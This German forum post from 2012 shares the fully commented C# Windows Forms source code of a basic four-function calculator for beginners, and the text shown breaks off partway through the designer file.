			<pubDate>Fri, 17 Feb 2012 23:26:10 GMT</pubDate>
			<description>Mich hat Jemand gefragt, ob ich ihm nen Taschenrechner code (er brauchts für die Berufsschule xD). 
Hab mich mal eben hingesetzt und einen gemacht,...</description>
			<content:encoded><![CDATA[<div>Mich hat Jemand gefragt, ob ich ihm nen Taschenrechner code (er brauchts für die Berufsschule xD).<br />
Hab mich mal eben hingesetzt und einen gemacht, der kann zwar nur die Grundrechenarten, aber wer das Prinzip verstanden hat, sollte auch die restlichen in dem Switchblock einbauen können...<br />
<br />
Der Taschenrechner verhält sich genauso wie der Windows-Rechner.<br />
<br />
Jede Zeile ist kommentiert, selbst blutige Anfänger sollten damit klarkommen, jammern ja immer so viele rum, es würde nix geben was mit Knuddels nix zu tun hat xD jetzt könnter damit anfangen zu coden.<br />
<br />
Screen:<br />
<img src="http://www.imgbox.de/users/mibotDotUs/taschenrechner.png" border="0" alt="" /><br />
<br />
Hier der Source <br />
<br />
CalculatorGUI.cs:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
[highlight=csharp]using System;<br />
using System.Collections.Generic;<br />
using System.ComponentModel;<br />
using System.Data;<br />
using System.Drawing;<br />
using System.Linq;<br />
using System.Text;<br />
using System.Windows.Forms;<br />
<br />
namespace TR<br />
{<br />
    public partial class CalculatorGUI : Form<br />
    {<br />
        #region Variablen definieren<br />
        private string op = null;<br />
<br />
        private string cached1 = null;<br />
        private string cached2 = null;<br />
<br />
        private bool startNewCalc = false;<br />
        #endregion<br />
<br />
        #region Konstruktor<br />
        public CalculatorGUI()<br />
        {<br />
            InitializeComponent();<br />
        }<br />
        #endregion<br />
<br />
        #region Eventhandler für Buttonklicks<br />
        private void btnNumeric_Click(object sender, EventArgs e)<br />
        {<br />
            //Nummer zum aktuellen Wert hinzufügen<br />
            addNewNumber((sender as Button).Text);<br />
        }<br />
<br />
        private void btnOp_Click(object sender, EventArgs e)<br />
        {<br />
            //Operator zur aktuellen Rechnung hinzufügen<br />
            addOperator((sender as Button).Text);<br />
        }<br />
<br />
        private void btnErg_Click(object sender, EventArgs e)<br />
        {<br />
            //Rechnung ausführen<br />
            calculate();<br />
        }<br />
<br />
        private void btnReset_Click(object sender, EventArgs e)<br />
        {<br />
            //Alle Felder und Werte zurücksetzen<br />
            reset();<br />
        }<br />
        private void btnResetActValue_Click(object sender, EventArgs e)<br />
        {<br />
            resetValue();<br />
        }<br />
        #endregion<br />
<br />
        #region Methoden für Berechnung<br />
        /// &lt;summary&gt;<br />
        /// Fügt der aktuellen Rechnung einen Operator hinzu<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;operatr&quot;&gt;Der Operator (string)&lt;/param&gt;<br />
        private void addOperator(string operatr)<br />
        {<br />
            //Wenn der 2. Wert gesetzt ist, fügen wir diesen der Textboxc für den Rechenweg hinzu<br />
            if (cached2 != null)<br />
                tbxCalculation.Text += cached2;<br />
            //Sonst fügen wir den ersten Wert hinzu, da dieser als letztes gesetzt wurde<br />
            else<br />
                tbxCalculation.Text += cached1;<br />
<br />
            //Wenn der erste Wert schon gesetzt ist<br />
            if (cached1 != null)<br />
            {<br />
                //zeigen wir das auf der GUI an<br />
                tbxCalculation.Text +=  &quot; &quot; + operatr + &quot; &quot;;<br />
                //Und setzen den Operator<br />
                op = operatr;<br />
            }<br />
<br />
            //Wenn der 2. Wert schon gesetzt ist<br />
            if (cached2 != null)<br />
                //Führen wir die Rechnung schon aus, damit sie weitergeführt werden kann<br />
                calc(false);<br />
<br />
            //Da wir mitten in der Berechnung sind, starten wir keine neue Berechnung mehr<br />
            startNewCalc = false;<br />
<br />
            //Die Textbox mit dem aktuellen Rechenwert wird geleert<br />
            tbxActValue.ResetText();<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Rechnet die aktuelle Rechnung aus<br />
        /// &lt;/summary&gt;<br />
        private void calculate()<br />
        {<br />
            //Rechnung ausführen<br />
            calc(true);<br />
            //Bei klick auf eine Zahl soll wieder eine neue Rechnung ausgeführt werden<br />
            startNewCalc = true;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Fügt dem aktuellen Rechenwert eine Zahl an<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;number&quot;&gt;Die Zahl die angefügt werden soll&lt;/param&gt;<br />
        private void addNewNumber(string number)<br />
        {<br />
            //Wenn eine neue Berechnung gestartet werden soll<br />
            if (startNewCalc)<br />
            {<br />
                //Die Textbox mit dem Rechenweg leeren<br />
                tbxCalculation.ResetText();<br />
                //Die Textbox mit dem Ergebnis leeren<br />
                tbxActValue.ResetText();<br />
                //Den boolschen Wert auf false setzen, damit beim nächsten Mal keine neue Berechnung mehr gestartet wird<br />
                startNewCalc = false;<br />
            }<br />
<br />
            //Wenn noch kein Operator eingegeben wurde, ist dies der erste Wert der Rechnung<br />
            if (op == null)<br />
                //Dieser wird an die Variable 'cached1' angehangen<br />
                cached1 += number;<br />
            //Andernfall ist es der zweite Wert<br />
            else<br />
                //Dieser wird an die Variable 'cached2' angehangen<br />
                cached2 += number;<br />
<br />
            //Damit der Uer sieht was er tut, wird das Ganze auch auf der GUI angezeigt            <br />
            //In der Textbox mit dem aktuellen Rechenwert<br />
            tbxActValue.Text += number;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Führt die Rechnung<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;ergbuttonpressed&quot;&gt;Gibt an ob der Ergebnisbutton gedrück wurde oder nicht&lt;/param&gt;<br />
        private void calc(bool ergbuttonpressed)<br />
        {<br />
            //Rechenvariablen definieren<br />
            double value1 = 0;<br />
            double value2 = 0;<br />
            double erg = 0;<br />
<br />
            // Die Variablen von Strings in Gleitkommazahlen konvertieren<br />
            double.TryParse(cached1, out value1);<br />
            double.TryParse(cached2, out value2);            <br />
<br />
            //Ermitteln welcher Operator benutzt werden soll<br />
            switch (op)<br />
            {<br />
                //Multiplikation<br />
                case &quot;*&quot;:                    <br />
                    erg = value1 * value2;<br />
                    break;<br />
                //Division<br />
                case &quot;/&quot;:                    <br />
                    erg = value1 / value2;<br />
                    break;<br />
                //Addition<br />
                case &quot;+&quot;:<br />
                    erg = value1 + value2;<br />
                    break;<br />
                //Subtraktion<br />
                case &quot;-&quot;:<br />
                    erg = value1 - value2;<br />
                    break;<br />
                //Unbekannter Operator<br />
                default:<br />
                    erg = 0.00;<br />
                    break;<br />
            }<br />
            //Wenn der Button mit dem '=' gedrückt wurde<br />
            if (ergbuttonpressed)<br />
            {<br />
                //Das Ergebnis in die Textbox schreiben<br />
                tbxActValue.Text = erg.ToString();<br />
                //Die Textbox mit dem Rechnenweg leeren<br />
                tbxCalculation.ResetText();<br />
            }<br />
            //Der erste gecachte wert wird durch das Ergebnis ersetzt um damit weiterzurechnen bei Bedarf<br />
            cached1 = erg.ToString();<br />
            //Der zweite gecachte Wert wird zurückgesetzt<br />
            cached2 = null;<br />
        }<br />
        #endregion<br />
<br />
        #region sonstiges<br />
        /// &lt;summary&gt;<br />
        /// Setzt alle Werte zurück<br />
        /// &lt;/summary&gt;<br />
        private void reset()<br />
        {<br />
            //Gibt an, das beim nächsten Klick auf eine Zahl eine neue Rechnung gestartet werden soll<br />
            startNewCalc = true;<br />
            //Die Textbox mit dem Rechnenweg leeren<br />
            tbxCalculation.ResetText();<br />
            //Die Textbox mit dem Ergebnis leeren<br />
            tbxActValue.ResetText();<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Setzt den aktuellen Wert zurück<br />
        /// &lt;/summary&gt;<br />
        private void resetValue()<br />
        {<br />
            //Box mit dem aktuellen Wert zurücksetzen<br />
            tbxActValue.ResetText();<br />
            //Wenn der Operator nicht gesetzt wurde<br />
            if (op == null)<br />
                //löschen wir den ersten Wert<br />
                cached1 = null;<br />
            else<br />
                //ansonsten den zweiten Wert<br />
                cached2 = null;<br />
        }<br />
        #endregion<br />
    }<br />
}<br />
[/highlight]
</div>
</div>
</div><br />
<br />
CalculatorGUI.Designer.cs:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
[highlight=csharp]namespace TR<br />
{<br />
    partial class CalculatorGUI<br />
    {<br />
        /// &lt;summary&gt;<br />
        /// Erforderliche Designervariable.<br />
        /// &lt;/summary&gt;<br />
        private System.ComponentModel.IContainer components = null;<br />
<br />
        /// &lt;summary&gt;<br />
        /// Verwendete Ressourcen bereinigen.<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;disposing&quot;&gt;True, wenn verwaltete Ressourcen gelöscht werden sollen; andernfalls False.&lt;/param&gt;<br />
        protected override void Dispose(bool disposing)<br />
        {<br />
            if (disposing &amp;&amp; (components != null))<br />
            {<br />
                components.Dispose();<br />
            }<br />
            base.Dispose(disposing);<br />
        }<br />
<br />
        #region Vom Windows Form-Designer generierter Code<br />
<br />
        /// &lt;summary&gt;<br />
        /// Erforderliche Methode für die Designerunterstützung.<br />
        /// Der Inhalt der Methode darf nicht mit dem Code-Editor geändert werden.<br />
        /// &lt;/summary&gt;<br />
        private void InitializeComponent()<br />
        {<br />
            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typ  eof(CalculatorGUI));<br />
            this.tlpNumerics = new System.Windows.Forms.TableLayoutPanel();<br />
            this.button11 = new System.Windows.Forms.Button();<br />
            this.button1 = new System.Windows.Forms.Button();<br />
            this.button2 = new System.Windows.Forms.Button();<br />
            this.button3 = new System.Windows.Forms.Button();<br />
            this.button4 = new System.Windows.Forms.Button();<br />
            this.button12 = new System.Windows.Forms.Button();<br />
            this.button5 = new System.Windows.Forms.Button();<br />
            this.button7 = new System.Windows.Forms.Button();<br />
            this.button8 = new System.Windows.Forms.Button();<br />
            this.button9 = new System.Windows.Forms.Button();<br />
            this.button6 = new System.Windows.Forms.Button();<br />
            this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel();<br />
            this.btnResetActValue = new System.Windows.Forms.Button();<br />
            this.btnDiv = new System.Windows.Forms.Button();<br />
            this.btnMul = new System.Windows.Forms.Button();<br />
            this.btnReset = new System.Windows.Forms.Button();<br />
            this.btnAdd = new System.Windows.Forms.Button();<br />
            this.btnSub = new System.Windows.Forms.Button();<br />
            this.btnErg = new System.Windows.Forms.Button();<br />
            this.label1 = new System.Windows.Forms.Label();<br />
            this.tbxCalculation = new System.Windows.Forms.TextBox();<br />
            this.panel1 = new System.Windows.Forms.Panel();<br />
            this.tbxActValue = new System.Windows.Forms.TextBox();<br />
            this.tlpNumerics.SuspendLayout();<br />
            this.tableLayoutPanel1.SuspendLayout();<br />
            this.panel1.SuspendLayout();<br />
            this.SuspendLayout();<br />
            // <br />
            // tlpNumerics<br />
            // <br />
            this.tlpNumerics.AutoSize = true;<br />
            this.tlpNumerics.BackColor = System.Drawing.Color.Transparent;<br />
            this.tlpNumerics.ColumnCount = 3;<br />
            this.tlpNumerics.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Fo  rms.SizeType.Absolute, 35F));<br />
            this.tlpNumerics.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Fo  rms.SizeType.Absolute, 35F));<br />
            this.tlpNumerics.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Fo  rms.SizeType.Absolute, 35F));<br />
            this.tlpNumerics.Controls.Add(this.button11, 0, 3);<br />
            this.tlpNumerics.Controls.Add(this.button1, 1, 0);<br />
            this.tlpNumerics.Controls.Add(this.button2, 0, 0);<br />
            this.tlpNumerics.Controls.Add(this.button3, 2, 0);<br />
            this.tlpNumerics.Controls.Add(this.button4, 0, 1);<br />
            this.tlpNumerics.Controls.Add(this.button12, 2, 3);<br />
            this.tlpNumerics.Controls.Add(this.button5, 1, 1);<br />
            this.tlpNumerics.Controls.Add(this.button7, 0, 2);<br />
            this.tlpNumerics.Controls.Add(this.button8, 1, 2);<br />
            this.tlpNumerics.Controls.Add(this.button9, 2, 2);<br />
            this.tlpNumerics.Controls.Add(this.button6, 2, 1);<br />
            this.tlpNumerics.Location = new System.Drawing.Point(5, 57);<br />
            this.tlpNumerics.Margin = new System.Windows.Forms.Padding(0);<br />
            this.tlpNumerics.Name = &quot;tlpNumerics&quot;;<br />
            this.tlpNumerics.RowCount = 4;<br />
            this.tlpNumerics.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tlpNumerics.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tlpNumerics.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tlpNumerics.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tlpNumerics.Size = new System.Drawing.Size(105, 140);<br />
            this.tlpNumerics.TabIndex = 2;<br />
            // <br />
            // button11<br />
            // <br />
            this.button11.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button11.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button11.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button11.ForeColor = System.Drawing.Color.White;<br />
            this.button11.Location = new System.Drawing.Point(3, 108);<br />
            this.button11.Name = &quot;button11&quot;;<br />
            this.button11.Size = new System.Drawing.Size(29, 29);<br />
            this.button11.TabIndex = 11;<br />
            this.button11.Text = &quot;0&quot;;<br />
            this.button11.UseCompatibleTextRendering = true;<br />
            this.button11.UseVisualStyleBackColor = false;<br />
            this.button11.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button1<br />
            // <br />
            this.button1.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button1.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button1.ForeColor = System.Drawing.Color.White;<br />
            this.button1.Location = new System.Drawing.Point(38, 3);<br />
            this.button1.Name = &quot;button1&quot;;<br />
            this.button1.Size = new System.Drawing.Size(29, 29);<br />
            this.button1.TabIndex = 1;<br />
            this.button1.Text = &quot;8&quot;;<br />
            this.button1.UseCompatibleTextRendering = true;<br />
            this.button1.UseVisualStyleBackColor = false;<br />
            this.button1.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button2<br />
            // <br />
            this.button2.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button2.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button2.ForeColor = System.Drawing.Color.White;<br />
            this.button2.Location = new System.Drawing.Point(3, 3);<br />
            this.button2.Name = &quot;button2&quot;;<br />
            this.button2.Size = new System.Drawing.Size(29, 29);<br />
            this.button2.TabIndex = 2;<br />
            this.button2.Text = &quot;7&quot;;<br />
            this.button2.UseCompatibleTextRendering = true;<br />
            this.button2.UseVisualStyleBackColor = false;<br />
            this.button2.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button3<br />
            // <br />
            this.button3.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button3.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button3.ForeColor = System.Drawing.Color.White;<br />
            this.button3.Location = new System.Drawing.Point(73, 3);<br />
            this.button3.Name = &quot;button3&quot;;<br />
            this.button3.Size = new System.Drawing.Size(29, 29);<br />
            this.button3.TabIndex = 3;<br />
            this.button3.Text = &quot;9&quot;;<br />
            this.button3.UseCompatibleTextRendering = true;<br />
            this.button3.UseVisualStyleBackColor = false;<br />
            this.button3.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button4<br />
            // <br />
            this.button4.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button4.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button4.ForeColor = System.Drawing.Color.White;<br />
            this.button4.Location = new System.Drawing.Point(3, 38);<br />
            this.button4.Name = &quot;button4&quot;;<br />
            this.button4.Size = new System.Drawing.Size(29, 29);<br />
            this.button4.TabIndex = 4;<br />
            this.button4.Text = &quot;4&quot;;<br />
            this.button4.UseCompatibleTextRendering = true;<br />
            this.button4.UseVisualStyleBackColor = false;<br />
            this.button4.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button12<br />
            // <br />
            this.button12.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button12.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button12.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button12.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));<br />
            this.button12.ForeColor = System.Drawing.Color.White;<br />
            this.button12.Location = new System.Drawing.Point(73, 108);<br />
            this.button12.Name = &quot;button12&quot;;<br />
            this.button12.Size = new System.Drawing.Size(29, 29);<br />
            this.button12.TabIndex = 12;<br />
            this.button12.Text = &quot;,&quot;;<br />
            this.button12.UseCompatibleTextRendering = true;<br />
            this.button12.UseVisualStyleBackColor = false;<br />
            this.button12.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button5<br />
            // <br />
            this.button5.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button5.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button5.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button5.ForeColor = System.Drawing.Color.White;<br />
            this.button5.Location = new System.Drawing.Point(38, 38);<br />
            this.button5.Name = &quot;button5&quot;;<br />
            this.button5.Size = new System.Drawing.Size(29, 29);<br />
            this.button5.TabIndex = 5;<br />
            this.button5.Text = &quot;5&quot;;<br />
            this.button5.UseCompatibleTextRendering = true;<br />
            this.button5.UseVisualStyleBackColor = false;<br />
            this.button5.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button7<br />
            // <br />
            this.button7.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button7.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button7.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button7.ForeColor = System.Drawing.Color.White;<br />
            this.button7.Location = new System.Drawing.Point(3, 73);<br />
            this.button7.Name = &quot;button7&quot;;<br />
            this.button7.Size = new System.Drawing.Size(29, 29);<br />
            this.button7.TabIndex = 7;<br />
            this.button7.Text = &quot;1&quot;;<br />
            this.button7.UseCompatibleTextRendering = true;<br />
            this.button7.UseVisualStyleBackColor = false;<br />
            this.button7.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button8<br />
            // <br />
            this.button8.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button8.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button8.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button8.ForeColor = System.Drawing.Color.White;<br />
            this.button8.Location = new System.Drawing.Point(38, 73);<br />
            this.button8.Name = &quot;button8&quot;;<br />
            this.button8.Size = new System.Drawing.Size(29, 29);<br />
            this.button8.TabIndex = 8;<br />
            this.button8.Text = &quot;2&quot;;<br />
            this.button8.UseCompatibleTextRendering = true;<br />
            this.button8.UseVisualStyleBackColor = false;<br />
            this.button8.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button9<br />
            // <br />
            this.button9.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button9.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button9.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button9.ForeColor = System.Drawing.Color.White;<br />
            this.button9.Location = new System.Drawing.Point(73, 73);<br />
            this.button9.Name = &quot;button9&quot;;<br />
            this.button9.Size = new System.Drawing.Size(29, 29);<br />
            this.button9.TabIndex = 9;<br />
            this.button9.Text = &quot;3&quot;;<br />
            this.button9.UseCompatibleTextRendering = true;<br />
            this.button9.UseVisualStyleBackColor = false;<br />
            this.button9.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // button6<br />
            // <br />
            this.button6.BackColor = System.Drawing.Color.MediumPurple;<br />
            this.button6.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.button6.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.button6.ForeColor = System.Drawing.Color.White;<br />
            this.button6.Location = new System.Drawing.Point(73, 38);<br />
            this.button6.Name = &quot;button6&quot;;<br />
            this.button6.Size = new System.Drawing.Size(29, 29);<br />
            this.button6.TabIndex = 6;<br />
            this.button6.Text = &quot;6&quot;;<br />
            this.button6.UseCompatibleTextRendering = true;<br />
            this.button6.UseVisualStyleBackColor = false;<br />
            this.button6.Click += new System.EventHandler(this.btnNumeric_Click);<br />
            // <br />
            // tableLayoutPanel1<br />
            // <br />
            this.tableLayoutPanel1.AutoSize = true;<br />
            this.tableLayoutPanel1.BackColor = System.Drawing.Color.Transparent;<br />
            this.tableLayoutPanel1.ColumnCount = 3;<br />
            this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Fo  rms.SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Fo  rms.SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Fo  rms.SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.Controls.Add(this.btnResetA  ctValue, 0, 3);<br />
            this.tableLayoutPanel1.Controls.Add(this.btnDiv, 0, 0);<br />
            this.tableLayoutPanel1.Controls.Add(this.btnMul, 1, 0);<br />
            this.tableLayoutPanel1.Controls.Add(this.btnReset, 2, 3);<br />
            this.tableLayoutPanel1.Controls.Add(this.btnAdd, 2, 0);<br />
            this.tableLayoutPanel1.Controls.Add(this.btnSub, 2, 1);<br />
            this.tableLayoutPanel1.Controls.Add(this.btnErg, 1, 3);<br />
            this.tableLayoutPanel1.Location = new System.Drawing.Point(121, 57);<br />
            this.tableLayoutPanel1.Margin = new System.Windows.Forms.Padding(0);<br />
            this.tableLayoutPanel1.Name = &quot;tableLayoutPanel1&quot;;<br />
            this.tableLayoutPanel1.RowCount = 4;<br />
            this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms  .SizeType.Absolute, 35F));<br />
            this.tableLayoutPanel1.Size = new System.Drawing.Size(105, 140);<br />
            this.tableLayoutPanel1.TabIndex = 3;<br />
            // <br />
            // btnResetActValue<br />
            // <br />
            this.btnResetActValue.BackColor = System.Drawing.SystemColors.ActiveCaptionText;<br />
            this.btnResetActValue.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnResetActValue.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnResetActValue.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));<br />
            this.btnResetActValue.ForeColor = System.Drawing.Color.Transparent;<br />
            this.btnResetActValue.Location = new System.Drawing.Point(3, 108);<br />
            this.btnResetActValue.Name = &quot;btnResetActValue&quot;;<br />
            this.btnResetActValue.Size = new System.Drawing.Size(29, 29);<br />
            this.btnResetActValue.TabIndex = 12;<br />
            this.btnResetActValue.Text = &quot;CE&quot;;<br />
            this.btnResetActValue.UseCompatibleTextRendering = true;<br />
            this.btnResetActValue.UseVisualStyleBackColor = false;<br />
            this.btnResetActValue.Click += new System.EventHandler(this.btnResetActValue_Click);<br />
            // <br />
            // btnDiv<br />
            // <br />
            this.btnDiv.BackColor = System.Drawing.Color.RoyalBlue;<br />
            this.btnDiv.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnDiv.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnDiv.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 8.25F);<br />
            this.btnDiv.ForeColor = System.Drawing.Color.White;<br />
            this.btnDiv.Location = new System.Drawing.Point(3, 3);<br />
            this.btnDiv.Name = &quot;btnDiv&quot;;<br />
            this.btnDiv.Size = new System.Drawing.Size(29, 29);<br />
            this.btnDiv.TabIndex = 3;<br />
            this.btnDiv.Text = &quot;/&quot;;<br />
            this.btnDiv.UseCompatibleTextRendering = true;<br />
            this.btnDiv.UseVisualStyleBackColor = false;<br />
            this.btnDiv.Click += new System.EventHandler(this.btnOp_Click);<br />
            // <br />
            // btnMul<br />
            // <br />
            this.btnMul.BackColor = System.Drawing.Color.RoyalBlue;<br />
            this.btnMul.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnMul.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnMul.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 8.25F);<br />
            this.btnMul.ForeColor = System.Drawing.Color.White;<br />
            this.btnMul.Location = new System.Drawing.Point(38, 3);<br />
            this.btnMul.Name = &quot;btnMul&quot;;<br />
            this.btnMul.Size = new System.Drawing.Size(29, 29);<br />
            this.btnMul.TabIndex = 2;<br />
            this.btnMul.Text = &quot;*&quot;;<br />
            this.btnMul.UseCompatibleTextRendering = true;<br />
            this.btnMul.UseVisualStyleBackColor = false;<br />
            this.btnMul.Click += new System.EventHandler(this.btnOp_Click);<br />
            // <br />
            // btnReset<br />
            // <br />
            this.btnReset.BackColor = System.Drawing.SystemColors.ActiveCaptionText;<br />
            this.btnReset.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnReset.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnReset.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));<br />
            this.btnReset.ForeColor = System.Drawing.Color.Transparent;<br />
            this.btnReset.Location = new System.Drawing.Point(73, 108);<br />
            this.btnReset.Name = &quot;btnReset&quot;;<br />
            this.btnReset.Size = new System.Drawing.Size(29, 29);<br />
            this.btnReset.TabIndex = 6;<br />
            this.btnReset.Text = &quot;C&quot;;<br />
            this.btnReset.UseVisualStyleBackColor = false;<br />
            this.btnReset.Click += new System.EventHandler(this.btnReset_Click);<br />
            // <br />
            // btnAdd<br />
            // <br />
            this.btnAdd.BackColor = System.Drawing.Color.RoyalBlue;<br />
            this.btnAdd.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnAdd.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnAdd.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 8.25F);<br />
            this.btnAdd.ForeColor = System.Drawing.Color.White;<br />
            this.btnAdd.Location = new System.Drawing.Point(73, 3);<br />
            this.btnAdd.Name = &quot;btnAdd&quot;;<br />
            this.btnAdd.Size = new System.Drawing.Size(29, 29);<br />
            this.btnAdd.TabIndex = 0;<br />
            this.btnAdd.Text = &quot;+&quot;;<br />
            this.btnAdd.UseCompatibleTextRendering = true;<br />
            this.btnAdd.UseVisualStyleBackColor = false;<br />
            this.btnAdd.Click += new System.EventHandler(this.btnOp_Click);<br />
            // <br />
            // btnSub<br />
            // <br />
            this.btnSub.BackColor = System.Drawing.Color.RoyalBlue;<br />
            this.btnSub.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnSub.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnSub.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 8.25F);<br />
            this.btnSub.ForeColor = System.Drawing.Color.White;<br />
            this.btnSub.Location = new System.Drawing.Point(73, 38);<br />
            this.btnSub.Name = &quot;btnSub&quot;;<br />
            this.btnSub.Size = new System.Drawing.Size(29, 29);<br />
            this.btnSub.TabIndex = 1;<br />
            this.btnSub.Text = &quot;-&quot;;<br />
